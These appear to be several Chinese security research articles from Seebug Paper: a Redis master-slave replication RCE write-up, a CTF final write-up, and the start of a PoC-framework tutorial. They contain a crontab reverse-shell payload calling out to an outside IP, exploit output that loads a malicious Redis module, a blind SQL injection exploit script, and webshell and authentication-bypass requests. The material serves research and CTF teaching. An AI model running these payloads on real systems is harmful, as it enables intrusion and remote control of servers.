我的想法是在每条链中维持一个黑名单,每次都检查是否出现了环路,如果在这条链中出现了环路,将造成环路的节点加入黑名单,继续使其走下去。当然虽然没有了环,也能会出现路径无限增长的情况,所以还是需要加入路径长度限制。
- 尝试sink->source的实现
- 多线程同时搜索多条利用链加快速度
- ...
最后
在原理分析的时候,忽略了字节码分析的细节,有的地方只是暂时猜测与测试得出的结果,所以可能存在一些错误。字节码分析那一块是很重要的一环,它对污点的判断、污点的传递调用等起着很重要的作用,如果这些部分出现了问题,整个搜索过程就会出现问题。由于ASM框架对使用人员要求较高,所以需要要掌握JVM相关的知识才能较好使用ASM框架,所以接下来的就是开始学习JVM相关的东西。这篇文章只是从宏观层面分析这个工具的原理,也算是给自己增加些信心,至少明白这个工具不是无法理解和无法改进的,同时后面再接触这个工具进行改进时也会间隔一段时间,回顾起来也方便,其他人如果对这个工具感兴趣也可以参考。等以后熟悉并能操纵Java字节码了,在回头来更新这篇文章并改正可能有错误的地方。
如果这些设想与改进真的实现并且进行了验证,那么这个工具真的是一个得力帮手。但是这些东西要实现还有较长的一段路要走,还没开始实现就预想到了那么多问题,在实现的时候会遇到更多问题。不过好在有一个大致的方向了,接下来就是对各个环节逐一解决了。
参考
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf
- https://www.youtube.com/watch?v=wPbW6zQ52w8
- https://mp.weixin.qq.com/s/RD90-78I7wRogdYdsB-UOg
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1034/
-
Redis 基于主从复制的 RCE 利用方式
作者:LoRexxar'@知道创宇404实验室
时间:2019年7月9日在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
通过写入文件 GetShell
未授权的redis会导致GetShell,可以说已经是众所周知的了。
12345678127.0.0.1:6379> config set dir /var/spool/cron/crontabsOK127.0.0.1:6379> config set dbfilename rootOK127.0.0.1:6379> get 1"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"127.0.0.1:6379> saveOK而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似
123[padding]* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'[padding]这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
通过主从复制 GetShell
在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。
Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
这里我们开两台docker来做测试
1234ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3fdb2479af9c redis:5.0 "docker-entrypoint.s…" 22 hours ago Up 4 seconds 0.0.0.0:6380->6379/tcp epic_khorana3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 23 hours ago Up 23 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin然后通过slaveof可以设置主从状态
这样一来数据就会自动同步了
Redis模块
在了解了主从同步之后,我们还需要对redis的模块有所了解。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码
https://github.com/RicterZ/RedisModules-ExecuteCommand
利用原理
Pavel Toporkov在2018年的zeronights会议上,分享了关于这个漏洞的详细原理。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
在ppt中提到,在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
复现过程
这里我们选择使用模拟的恶意服务端来作为主机,并模拟fullresync请求。
https://github.com/LoRexxar/redis-rogue-server
然后启用redis 5.0的docker
123ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 25 hours ago Up 25 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin为了能够更清晰的看到效果,这里我们把从服务端执行完成后删除的部分暂时注释掉。
然后直接通过脚本来攻击服务端
12345678910111213141516171819ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381TARGET 172.17.0.3:6379SERVER 172.17.0.1:6381[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'[->] b'+OK\r\n'[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'[->] b'+OK\r\n'[->] b'*1\r\n$4\r\nPING\r\n'[<-] b'+PONG\r\n'[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'[<-] b'+OK\r\n'[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'[<-] b'+OK\r\n'[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'[->] b'+OK\r\n'[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'[->] b'+OK\r\n'然后我们链接上去就可以执行命令
12345ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3172.17.0.3:6379> system.exec "id""\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"172.17.0.3:6379> system.exec "whoami""\bredis\n"本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/975/
-
MIMIC Defense CTF 2019 final writeup
作者:LoRexxar'@知道创宇404实验室
上周有幸去南京参加了强网杯拟态挑战赛,运气比较好拿了第二名,只是可惜是最后8分钟被爆了,差一点儿真是有点儿可惜。
有关于拟态的观念我会在后面讲防火墙黑盒攻击的 writeup 时再详细写,抛开拟态不谈,赛宁这次引入的比赛模式我觉得还蛮有趣的,白盒排位赛的排名决定你是不是能挑战白盒拟态,这样的多线并行挑战考验的除了你的实际水平,也给比赛本身平添了一些有趣的色彩(虽然我们是被这个设定坑了),虽然我还没想到这种模式如何应用在普通的ctf赛场上,但起码也是一个有趣的思路不是吗。
Web 白盒
sqlcms
这题其实相对比赛中的其他题目来说,就显得有些太简单了,当时如果不是因为我们是第一轮挑战白盒的队伍,浪费了 30 分钟时间,否则抢个前三血应该是没啥问题。
简单测试就发现,过滤了以下符号
123456789,and &| orforsub%^~此外还有一些字符串的过滤
1hex、substring、union select还有一些躺枪的(因为有or)
1information_schema总结起来就是,未知表名、不能使用逗号、不能截断的时间盲注。其实实际技巧没什么新意,已经是玩剩下的东西了,具体直接看 exp 吧
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374# coding=utf-8import requestsimport randomimport hashlibimport times = requests.Session()url='http://10.66.20.180:3002/article.php'tables_count_num = 0strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@!#$%*().<>1234567890{}"def get_content(url):for i in xrange(50):# payload = "1 and ((SELECT length(user) from admin limit 1)="+str(i)+") and (sleep(2))"# payload = "(select case when ((SELECT length(t.2) from (select 1,2,3,4 union select * from flag) limit "+str(j)+") >"+str(i)+") then 0 else sleep(2) end)"payload = "(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)"if get_data(payload):print "[*] content_length: "+str(i)content_length = ibreakcontent = ""tmp_content = ""for i in range(1,content_length+1):for k in strings:tmp_content = content+str(k)tmp_content = tmp_content.ljust(content_length,'_')# payload = "1 and (SELECT ascii(mid(((SELECT user from admin limit 1))from("+str(i)+")))="+str(k+1)+") and (sleep(2))"payload = "(select case when ((SELECT t.4 from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) like '"+tmp_content+"') then sleep(2) else 0 end)"# print payloadif get_data(payload):content += kprint "[*] content: "+contentbreakprint "[*] content: " + contentdef get_response(payload):s = requests.Session()username = "teststeststests1234\\"s.post()def get_data(payload):u = url+'?id='+payloadprint uotime = time.time()# print u.replace(' ','%20')r = s.get(u)rr = r.textptime = time.time()if ptime-otime >2:return Trueelse:return Falseget_content(url)ezweb
这题觉得非常有意思,我喜欢这个出题思路,下面我们来一起整理下整个题目的思路。
首先是打开页面就是简单粗暴的登录,用户名只把
.
换成了_
,然后就直接存入了 session 中。当我们在用户名中插入
/
的时候,我们就会发现爆了无法打开文件的错误,/
被识别为路径分割,然后 sqlite 又没有太高的权限去创建文件夹,所以就报错了,于是我们就得到了。如果用户名被直接拼接到了数据库名字中,将
.
转化为_
,1./dbs/mimic_{username}.db直接访问相应的路径,就可以下载到自己的 db 文件,直接本地打开就可以看到其中的数据。
数据库里很明显由 filename 做主键,后面的数据是序列化之后的字符串,主要有两个点,一个是 file_type ,这代表文件上传之后,服务端会检查文件的类型,然后做相应的操作,其次还会保存相应的文件路径。
抛开这边的数据库以后,我们再从黑盒这边继续分析。
当你上传文件的时候,文件名是 md5(全文件名)+最后一个
.
后的后缀拼接。对于后缀的检查,如果点后为 ph 跟任何字符都会转为 mimic 。
多传几次可以发现,后端的 file_type 是由前端上传时设置的 content-type 决定的,但后端类型只有4种,其中 text 会直接展现文件内容, image 会把文件路径传入 img 标签展示出来,zip 会展示压缩包里的内容,other 只会展示文件信息。
123456789101112131415161718192021switch ($type){case 'text/php':case 'text/x-php':$this->status = 'failed';break;case 'text/plain':$this->info = @serialize($info);break;case 'image/png':case 'image/gif':case 'image/jpeg':$info['file_type'] = 'image';$this->info = @serialize($info);break;case 'application/zip':$info['file_type'] = 'zip';$info['file_list'] = $this->handle_ziparchive();$this->info = @serialize($info);$this->flag = false;break;default:$info['file_type'] = 'other';$this->info = @serialize($info);break;break;}其中最特别的就是 zip ,简单测试可以发现,不但会展示 zip 的内容,还会在
uploads/{md5(filename)}
中解压 zip 中的内容。测试发现,服务端限制了软连接,但是却允许跨目录,我们可以在压缩包中加入
../../a
,这个文件就会被解压到根目录,但可惜文件后缀仍然收到之前对 ph 的过滤,我们没办法写入任何 php 文件。1234567891011121314151617181920private function handle_ziparchive() {try{$file_list = array();$zip = new PclZip($this->file);$save_dir = './uploads/' . substr($this->filename, 0, strlen($this->filename) - 4);@mkdir($save_dir, 755);$res = $zip->extract(PCLZIP_OPT_PATH, $save_dir, PCLZIP_OPT_EXTRACT_DIR_RESTRICTION, '/var/www/html' , PCLZIP_OPT_BY_PREG,'/^(?!(.*)\.ph(.*)).*$/is');foreach ($res as $k => $v) {$file_list[$k] = array('name' => $v['stored_filename'],'size' => $this->get_size($v['size']));}return $file_list;}catch (Exception $ex) {print_r($ex);$this->status = 'failed';}}按照常规思路来说,我们一般会选择上传
.htaccess
和.user.ini
,但很神奇的是,.htaccess
因为 apache 有设置无法访问,不知道是不是写进去了。.user.ini
成功写入了。但是两种方式都没生效。于是只能思考别的利用方式,这时候我们会想到数据被储存在sqlite中。
如果我们可以把 sqlite 文件中数据修改,然后将文件上传到服务端,我们不就能实现任意文件读取吗。
这里我直接读了 flag ,正常操作应该是要先读代码,然后反序列化 getshell
1234567public function __destruct() {if($this->flag){file_put_contents('./uploads/' . $this->filename , file_get_contents($this->file));}$this->conn->insert($this->filename, $this->info);echo json_encode(array('status' => $this->status));}最后拿到 flag
拟态防火墙
两次参加拟态比赛,再加上简单了解过拟态的原理,我大概可以还原目前拟态防御的原理,也逐渐佐证拟态防御的缺陷。
下面是我在攻击拟态防火墙时,探测到的后端结构,大概是这样的(不保证完全准确):
其中 Web 服务的执行体中,有 3 种服务端,分别为 nginx、apache 和 lighttpd 这3 种。
Web 的执行体非常简陋,其形态更像是负载均衡的感觉,不知道是不是裁决机中规则没设置还是 Web 的裁决本身就有问题。
而防火墙的执行体就更诡异了,据现场反馈说,防火墙的执行体是开了2个,因为反馈不一致,所以返回到裁决机的时候会导致互判错误...这种反馈尤其让我疑惑,这里的问题我在下面实际的漏洞中继续解释。
配合防火墙的漏洞,我们下面逐渐佐证和分析拟态的缺点。
我首先把攻击的过程分为两个部分,1是拿到 Web 服务执行体的 webshell,2是触发修改访问控制权限(比赛中攻击得分的要求)。
GetShell
首先我不得不说真的是运气站在了我这头,第一界强网杯拟态挑战赛举办的时候我也参加了比赛,当时的比赛规则没这么复杂,其中有两道拟态 Web 题目,其中一道没被攻破的就是今年的原题,拟态防火墙,使用的也是天融信的 Web 管理界面。
一年前虽然没日下来,但是幸运的是,一年前和一年后的攻击得分目标不一致,再加上去年赛后我本身也研究过,导致今年看到这个题的时候,开局我就走在了前面。具体可以看下面这篇 wp 。
https://mp.weixin.qq.com/s/cfEqcb8YX8EuidFlqgSHqg
由于去年我研究的时候已经是赛后了,所以我并没有实际测试过,时至今日,我也不能肯定今年和去年是不是同一份代码。不过这不影响我们可以简单了解架构。
https://github.com/YSheldon/ThinkPHP3.0.2_NGTP
然后仔细阅读代码,代码结构为 Thinkphp3.2 架构,其中部分代码和远端不一致,所以只能尝试攻击。
在3.2中,Thinkphp 有一些危险函数操作,比如 display,display 可以直接将文件include 进来,如果函数参数可控,我们又能上传文件,那么我们就可以 getshell。
全局审计代码之后我们发现在
/application/home/Controller/CommonControler.class.php
如果我们能让 type 返回为 html ,就可以控制 display 函数。
搜索 type 可得
$this->getAcceptType();
12345678910111213141516$type = array('json' => 'application/json,text/x-json,application/jsonrequest,text/json','xml' => 'application/xml,text/xml,application/x-xml','html' => 'text/html,application/xhtml+xml,*/*','js' => 'text/javascript,application/javascript,application/x-javascript','css' => 'text/css','rss' => 'application/rss+xml','yaml' => 'application/x-yaml,text/yaml','atom' => 'application/atom+xml','pdf' => 'application/pdf','text' => 'text/plain','png' => 'image/png','jpg' => 'image/jpg,image/jpeg,image/pjpeg','gif' => 'image/gif','csv' => 'text/csv');只要将请求头中的 accept 设置好就可以了。
然后我们需要找一个文件上传,在
UserController.class.php moduleImport函数里
123456789101112131415161718192021} else {$config['param']['filename']=$_FILES["file"]["name"];$newfilename="./tmp/".$_FILES["file"]["name"];if($_POST['hid_import_file_type']) $config['param']['file-format'] = formatpost($_POST['hid_import_file_type']);if($_POST['hid_import_loc']!='') $config['param']['group'] = formatpost($_POST['hid_import_loc']);if($_POST['hid_import_more_user']) $config['param']['type'] = formatpost($_POST['hid_import_more_user']);if($_POST['hid_import_login_addr']!='')$config['param']['address-name'] = formatpost($_POST['hid_import_login_addr']);if($_POST['hid_import_login_time']!='') $config['param']['timer-name'] = formatpost($_POST['hid_import_login_time']);if($_POST['hid_import_login_area']!='') $config['param']['area-name'] = formatpost($_POST['hid_import_login_area']);if($_POST['hid_import_cognominal']) $config['param']['cognominal'] = formatpost($_POST['hid_import_cognominal']);//判断当前文件存储路径中是否含有非法字符if(preg_match('/\.\./',$newfilename)){exit('上传文件中不能存在".."等字符');}var_dump($newfilename);if(move_uploaded_file($_FILES["file"]["tmp_name"],$newfilename)) {echo sendRequestSingle($config);} else$this->display('Default/auth_user_manage');}}这里的上传只能传到
/tmp
目录下,而且不可以跨目录,所以我们直接传文件上去。紧接着然后使用之前的文件包含直接包含该文件
123456789GET /?c=Auth/User&a=index&assign=0&w=../../../../../../../../tmp/index1&ddog=var_dump(scandir('/usr/local/apache2/htdocs')); HTTP/1.1Host: 172.29.118.2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=spk6s3apvh5c54tj9ch052fp53; think_language=zh-CNUpgrade-Insecure-Requests: 1上传文件的时候要注意 seesion 和 token ,token 可以从首页登陆页面获得。
至此我们成功获得了 webshell 。这里拿到 webshell 之后就会进入一段神奇的发现。
首先,服务端除了
/usr
以外没有任何的目录,其中/usr/
中除了3个服务端,也没有任何多余的东西。换言之就是没有/bin
,也就是说并没有一个linux的基本环境,这里我把他理解为执行体,在他的外层还有别的代码来联通别的执行体。由于没有
/bin
,导致服务端不能执行system函数,这大大影响了我的攻击效率,这可能也是我被反超的一个原因...继续使用php eval shell,我们发现后端3个执行体分别为nginx\apache\lighthttpd,实际上来说都是在同一个文件夹下
123/usr/local/apache2/htdocs/usr/local/nginx/htdocs/usr/local/lighttpd/htdocs由于 Web 的服务器可以随便攻击,有趣的是,在未知情况下,服务端会被重置,但神奇的是,一次一般只会重置3个服务端的一部分,这里也没有拟态裁决的判定,只要单纯的刷新就可以进入不同的后端,其感觉就好像是负载均衡一样。
这样我不禁怀疑起服务端的完成方式,大概像裁决机是被设定拼接在某个部分之前的,其裁决的内容也有所设定,到这里我们暂时把服务端架构更换。
阅读服务端代码
在拿到 shell 之后,主办方强调 Web 服务和题目无关,需要修改后端的访问控制权限,由于本地的代码和远程差异太大,所以首先要拿到远端的代码。
从
/conf/menu.php
中可以获得相应功能的路由表。123456789101112131415161718192021...'policy' => array('text' => L('SECURE_POLICY'),'childs' => array(//访问控制'firewall' => array('text' => L('ACCESS_CONTROL'),'url' => '?c=Policy/Interview&a=control_show','img' => '28','childs' => ''),//地址转换'nat' => array('text' => L('NAT'),'url' => '','img' => '2','childs' => array('nat' => array('text' => 'NAT','url' => '?c=Policy/Nat&a=nat_show'),其中设置防火墙访问控制权限的路由为
?c=Policy/Interview&a=control_show',
然后直接读远端的代码
/Controller/Policy/interviewController.class.php
其操作相关为
123456789//添加策略public function interviewAdd() {if (getPrivilege("firewall") == 1) {if($_POST['action1']!='') $param['action'] = formatpost($_POST['action1']);if($_POST['enable']!='') $param['enable'] = formatpost($_POST['enable']);if($_POST['log1']!='') $param['log'] = formatpost($_POST['log1']);if($_POST['srcarea']!='') $param['srcarea'] = '\''.formatpost($_POST['srcarea'],false).'\'';if($_POST['dstarea']!='') $param['dstarea'] = '\''.formatpost($_POST['dstarea'],false).'\'';/*域名*/直接访问这个路由发现权限不够,跟入
getPrivilege
1234567891011/*** 获取权限模板,$module是否有权限* @param string $module* @return int 1:有读写权限,2:读权限,0:没权限*/function getPrivilege($module) {if (!checkLogined()) {header('location:' . $_COOKIE['urlorg']);}return ngtos_ipc_privilege(NGTOS_MNGT_CFGD_PORT, M_TYPE_WEBUI, REQ_TYPE_AUTH, AUTH_ID, NGTOS_MNGT_IPC_NOWAIT, $module);}一直跟到 checklogin
1234567891011121314151617校验url合法性,是否真实登录function checkLogined() {//获得cookie中的key$key = $_COOKIE['loginkey'];// debugFile($key);//获得url请求中的authid// $authid = $_GET['authid'];// debugFile($authid);//检查session中是否存在改authid和keyif (!empty($key) && $key == $_SESSION['auth_id'][AUTH_ID]) {return true;} else {return false;}}/*发现对 cookie 中的 loginkey 操作直接对比了 auth_id ,id 值直接盲猜为1,于是绕过权限控制
添加相应的 cookie ,就可以直接操作访问控制页面的所有操作,但是后端有拟态防御,所以访问 500.
至此,我无意中触发了拟态扰动...这完全是在我心理预期之外的触发,在我的理解中,我以为是我的参数配置错误,或者是这个 api 还需要添加策略组,然后再修改。由于我无法肯定问题出在了哪,所以我一直试图想要看到这个策略修改页面,并正在为之努力。(我认为我应该是在正常的操作功能,不会触发拟态扰动...)
ps:这里膜@zsx和@超威蓝猫,因为我无法加载 jquery ,所以我看不到那个修改配置的页面是什么样的,但 ROIS 直接用 js 获取页面内容渲染...
在仔细分析拟态的原理之后,我觉得如果这个功能可以被正常修改(在不被拟态拦截的情况下),那么我们就肯定触发了所有的执行体(不可能只影响其中一台)。
那么我们反向思考过来,既然无法修改,就说明这个配置在裁决机背设置为白名单了,一旦修改就会直接拦截并返回 500!
所以我们当时重新思考了拟态防火墙的结构...我们发现,因为Web服务作为防火墙的管理端,在防火墙的配置中,至少应该有裁决机的 ip ,搞不好可以直接获取防火墙的 ip 。
这时候如果我们直接向后端ip构造socket请求,那么我们就能造成一次降维打击。
只是可惜,因为没有 system shell ,再加上不知道为什么蚁剑和菜刀有问题,我们只能花时间一个一个文件去翻,结果就是花了大量的时间还没找到(远程的那份代码和我本地差异太大了),赛后想来,如果当场写一个脚本说不定就保住第一了2333
关于拟态
在几次和拟态防御的较量中,拟态防御现在的形态模式也逐渐清晰了起来,从最开始的测信道攻击、ddos攻击无法防御,以及关键的业务落地代价太大问题。逐渐到业务逻辑漏洞的防御缺陷。
拟态防御本身的问题越来越清晰起来,其最关键的业务落地代价太大问题,在现在的拟态防御中,逐渐使用放弃一些安全压力的方式来缓解,现在的拟态防御更针对倾向于组件级安全问题的防御。假设在部分高防需求场景下,拟态作为安全生态的一环,如果可以通过配置的方式,将拟态与传统的Waf、防火墙的手段相结合,不得不承认,在一定程度上,拟态的确放大了安全防御中的一部分短板。拟态防御的后续发展怎么走,还是挺令人期待的。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/932/
-
如何打造自己的PoC框架-Pocsuite3-框架篇
作者:w7ay@知道创宇404实验室
English version: https://paper.seebug.org/914/
相关阅读:如何打造自己的PoC框架-Pocsuite3-使用篇本节笔者将按照Pocsuite框架结构以及工程化实践,来实现一款自己的PoC框架。为了开一个好头,我们先取一个好听的名字,想威武霸气一些可以取上古神器之类的,诸如轩辕夏禹赤霄干将,若怀着对游戏的热爱也可以有山丘之王(Mountain King)剑圣(BladeMaster)月之女神(Priess Of the moon)。由于笔者比较懒,我们就取一个朴素的名字:AirPoc,中文名叫它"空气炮"吧。
名称取好了,我们还要幻想一下大饼。这里请充分发挥想象力,幻想它的功能,你要记住,没有我们实现不了的功能,如果有,打死产品manager即可。
这里不妨开下脑洞,为了组建兔子安全联盟,我们计划开发一款基于区块链的PoC验证框架AirPoc,限定只对"兔子安全联盟”范围内的网站进行安全检查,由一个AirPoc节点检查出了存在漏洞的地址,将URL和PoC共享到区块中,再由随机的其他节点验证,验证成功则获得"空气币",而被检测到的网站所有者则需要支付"空气币"作为报酬。
虽然只是暂时的幻想,但是产品小哥哥也略带激动整理出了我们需要的功能。
- 使用简单,不要有太多的命令,可以跨平台使用
- 人多力量大,能让更多人参与进来的
- 能简单操作就能内置到其他产品上
- 验证速度与验证准确率极高!
- 我也不知道什么好,总之你跑起来能出东西就行!
当然,这位产品小哥哥可能怕被打,没有将分布式,区块链的概念加入进来。
具体细节
下面就由笔者来具体实现由笔者兼职的产品manager随便一想(挖坑)的东西。我们逐一分析问题,并给出最后的解决方案。
说到使用简单,我们就任性的选择使用Python了,不信你看看Python之父的头发。在安装了Python之后,也可以一份代码多处使用,但为了足够的简单与原生,我们决定尽量少使用Python的第三方包。而目前Python最新版为3.7,我们就以此为例。
国外的众多开源安全项目都有不少人参与,像Metasploit
Sqlmap
Routersploit
能贡献一份代码到上面可能是安全研究人员最想做的事情吧。
所以笔者有个想法是AirPoc的PoC仓库可以开源到GitHub,并且能够在线调用上面的PoC,这样也不会为了PoC的更新而烦恼了。
内置到其他产品也更是容易,如果是Python类的软件,可以直接把AirPoc当做包来调用,如果其他软件,AirPoc可以开放一个RPC接口提供使用,如果不想要Python的环境,也可以通过pyinstaller之类的工具打包,我们的设计原则是尽量不依赖其他第三方库,所以也会避免很多奇奇怪怪的问题。
想要实现验证速度与验证准确率极高,我们要做好多线程或协程的并发模型,这里我们会在后面在详细叙述。
最后,"我也不知道什么好,总之你跑起来能出东西就行!",如果上面的事情我们都做好了,这个应该就是水到渠成的了~
AirPoc的框架
在完成这个"宏伟计划"之前,我们也需要设计一下整体的代码框架。作为一名代码洁癖患者,一个良好的代码结构,是万里长征的第一步。我们建立如下的目录结构,env是虚拟环境,建立两个目录
lib
、pocs
,lib
用于存储之后的相关核心文件,pocs
用于存储poc文件,和一个文件main.py
用作初始入口。就像盖大楼需要打好地基,接下来完成基础框架,我们可以先不用写具体的功能,但是了解作为"地基"的函数的意义。如下,在
main.py
文件中如下代码,一个初始的框架就完成了。12345678910111213141516171819202122232425262728293031323334353637383940import osimport timedef banner():msg = '''___ _ _____ _____ _____ _____/ | | | | _ \ | _ \ / _ \ / ___|/ /| | | | | |_| | | |_| | | | | | | |/ / | | | | | _ / | ___/ | | | | | |/ / | | | | | | \ \ | | | |_| | | |___/_/ |_| |_| |_| \_\ |_| \_____/ \_____| {}'''.format(version)print(msg)def init(config: dict):print("[*] target:{}".format(config["url"]))def end():print("[*] shutting down at {0}".format(time.strftime("%X")))def start():passdef main():banner()config = {"url": "https://www.seebug.org/"}init(config)start()end()if __name__ == '__main__':version = "v0.00000001"main()但是,正如你所见,版本号和我的比特币钱包的数字竟然差不多,我们还要给它加些料。
单例模式
在我们软件的初始化的工程中,我们需要得到很多环境相关的信息。比如当前执行的路径是哪?poc目录在哪?我们输出结果文件输出到哪个路径等等。
它们有一个共同的特定是,它们只需要加载一次,在后面使用中直接拿来用就行了。这种模式在软件设计模式中有一个单独的名词,"单例模式"。
幸运的是python的模块就是天然的单例模式,因为模块在第一次导入时,会生成
.pyc
文件,当第二次导入时,就会直接加载.pyc
文件,而不会再次执行模块代码。因此,我们只需把相关的函数和数据定义在一个模块中,就可以获得一个单例对象了。我们在
lib
目录里面新建一个data.py
用于存储这些信息。同时将版本信息也放到这里来。123456import osPATHS_ROOT = os.path.join(os.path.dirname(os.path.realpath(__file__)), "../")PATHS_POCS = os.path.join(PATHS_ROOT, "pocs")PATHS_OUTPUT = os.path.join(PATHS_ROOT, "output")VERSION = "v0.0000001"为了更好的来表示这些常量,我们用PEP8标准里的规范,统一约定用大写和下划线来表示常量。为了说明与之前的区别,我们象征性的将VERSION减一个0,来表达我们的比特币又增长了10倍。
动态加载
在解决完我们相关的环境问题后,我们在看看如何动态加载模块。在具体细节里我们说过,我们期望PoC能够从本地或者远程网站(如GitHub)上加载。
这里又得分成两种情况,如果是通过文件路径加载动态加载的模块,可以直接用
__import__()
来加载,但是如果要远程加载,可能就又会复杂一点,根据python的相关文档,我们要自己实现"查找器"与"加载器" https://docs.python.org/zh-cn/3/reference/import.html。当然,你也可以从远程保存到本地后,按照本地加载模式进行加载。但是Pocsuite已经有完整的加载器代码了,我们可以直接拿来用。
新建
lib/loader.py
文件1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253import hashlibimport importlibfrom importlib.abc import Loaderdef get_md5(value):if isinstance(value, str):value = value.encode(encoding='UTF-8')return hashlib.md5(value).hexdigest()def load_string_to_module(code_string, fullname=None):try:module_name = 'pocs_{0}'.format(get_md5(code_string)) if fullname is None else fullnamefile_path = 'airpoc://{0}'.format(module_name)poc_loader = PocLoader(module_name, file_path)poc_loader.set_data(code_string)spec = importlib.util.spec_from_file_location(module_name, file_path, loader=poc_loader)mod = importlib.util.module_from_spec(spec)spec.loader.exec_module(mod)return modexcept ImportError:error_msg = "load module '{0}' failed!".format(fullname)print(error_msg)raiseclass PocLoader(Loader):def __init__(self, fullname, path):self.fullname = fullnameself.path = pathself.data = Nonedef 